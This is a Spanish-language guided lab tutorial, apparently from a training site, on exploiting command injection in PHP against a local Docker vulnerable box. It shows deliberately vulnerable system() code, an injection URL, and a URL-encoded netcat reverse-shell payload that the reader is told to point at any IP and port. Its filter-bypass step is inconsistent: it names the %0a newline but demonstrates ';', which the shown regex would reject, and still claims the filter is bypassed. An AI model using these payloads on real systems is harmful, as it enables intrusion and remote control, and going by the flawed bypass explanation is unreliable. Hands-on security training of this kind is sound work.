Comprender y Explotar Vulnerabilidades de Inyección de Comandos en Nmap

Beginner

Introducción

En este laboratorio, aprenderás sobre las vulnerabilidades de inyección de comandos, que son una de las vulnerabilidades más comunes en las aplicaciones web. El laboratorio ofrece una experiencia práctica para comprender los principios de las vulnerabilidades de inyección de comandos y sus técnicas de explotación. A través de dos ejercicios prácticos, aprenderás cómo identificar y explotar las vulnerabilidades de inyección de comandos, entender el uso de caracteres comodín para cerrar comandos y explorar métodos para eludir filtros y elevar privilegios.

Este es un Guided Lab, que proporciona instrucciones paso a paso para ayudarte a aprender y practicar. Sigue las instrucciones cuidadosamente para completar cada paso y obtener experiencia práctica. Los datos históricos muestran que este es un laboratorio de nivel principiante con una tasa de finalización del 100%. Ha recibido una tasa de reseñas positivas del 88% por parte de los estudiantes.

Comprender las vulnerabilidades de inyección de comandos

En este paso, vamos a explorar los conceptos básicos de las vulnerabilidades de inyección de comandos y cómo se pueden explotar, todo de una manera sencilla y adecuada para principiantes.

Entonces, ¿qué son las vulnerabilidades de inyección de comandos? Ocurren cuando una aplicación web no maneja adecuadamente la entrada del usuario y esta termina siendo utilizada en comandos del sistema. Esto podría permitir potencialmente a un usuario malintencionado ejecutar cualquier comando que desee en el servidor, con los mismos permisos que la aplicación web.

Veamos un fragmento de código PHP que tiene esta vulnerabilidad:

<?php
$action = $_GET['cmd'];
echo "<pre>";
system($action);
echo "<pre/>";
?>

En este código, la función system() se utiliza para ejecutar un comando que proviene del parámetro cmd en la URL. Un usuario malintencionado puede aprovechar esto agregando comandos dañinos al parámetro cmd.

Para explotar con éxito esta vulnerabilidad, debes saber cómo cancelar el comando original y agregar más comandos. Esto se hace utilizando separadores de comandos como ; (punto y coma), && (AND lógico), | (tuberia) o || (OR lógico).

Explotando vulnerabilidades de inyección de comandos

¡Bienvenido a la siguiente etapa de nuestro viaje! Ahora, vamos a poner en práctica nuestro conocimiento y explotar una vulnerabilidad de inyección de comandos en una aplicación web.

Para comenzar, configuremos nuestro entorno de laboratorio. Utilice el siguiente comando:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log'

Echemos un vistazo al siguiente código PHP que tiene esta vulnerabilidad:

<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
    die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>

En este código, la entrada del usuario ($_GET['ip']) se verifica con una expresión regular para asegurarse de que esté en el formato de una dirección IP. Si la entrada es válida, la función system() ejecuta el comando ping utilizando la entrada del usuario como argumento.

Pero, ¿qué pasa si queremos eludir este filtro e inyectar nuestros propios comandos? Aquí es donde el carácter de nueva línea %0a resulta útil. Se utiliza en formato codificado en URL.

Por ejemplo, si desea ejecutar el comando uname -a, puede utilizar la siguiente URL:

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;uname -a

El resultado se verá así:

command injection result

Este truco inteligente elude el filtro de dirección IP y ejecuta el comando uname -a justo después del comando ping. Es un ejemplo práctico de cómo se puede utilizar el conocimiento para identificar y explotar vulnerabilidades. ¡Continuemos nuestro viaje de aprendizaje!

Escalada de privilegios y explotación adicional

¡Buen trabajo por haber llegado hasta aquí! Una vez que hayas explotado con éxito una vulnerabilidad de inyección de comandos, puedes llevar tu juego al siguiente nivel. Puedes querer intentar elevar privilegios o realizar un reconocimiento más detallado del sistema objetivo.

Una técnica popular es crear una conexión de shell inversa (reverse shell). Esto te da una shell interactiva en el sistema objetivo, y puedes hacer esto utilizando herramientas como netcat (nc) o bash.

Aquí tienes un ejemplo de cómo puedes establecer una shell inversa utilizando netcat (debe estar instalado en la máquina objetivo):

http://127.0.0.1:82/commandexec/example1.php?ip=127.0.0.1;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|nc%20127.0.0.1%205555%20%3E/tmp/f

El resultado de la ejecución del comando de shell inversa debe verse así:

reverse shell

Simplemente reemplaza la segunda instancia de 127.0.0.1 y 5555 con la dirección IP y el número de puerto que desees utilizar. ¡Es como llenar espacios en blanco!

Como alternativa, también puedes intentar encontrar archivos sensibles en el sistema objetivo. Esto podría darte información valiosa para futuras explotaciones o elevación de privilegios. ¡Esto es un poco como ser un detective, pero en el mundo digital!

Recuerda, la práctica hace al maestro. Sigue explorando y aprendiendo, y en poco tiempo serás un experto en esto.

Resumen

En este laboratorio, aprendiste sobre las vulnerabilidades de inyección de comandos, que se producen cuando la entrada del usuario se maneja incorrectamente y se pasa a comandos del sistema en una aplicación web. Exploraste cómo explotar estas vulnerabilidades inyectando comandos maliciosos y cerrando el comando original utilizando separadores como ;, &&, | y ||. Además, practicaste eludir filtros utilizando técnicas como la codificación de caracteres de nueva línea. Finalmente, adquiriste una comprensión de los posibles pasos siguientes después de explotar una vulnerabilidad de inyección de comandos, como establecer una shell inversa (reverse shell) o enumerar archivos sensibles para futuras explotaciones o elevación de privilegios.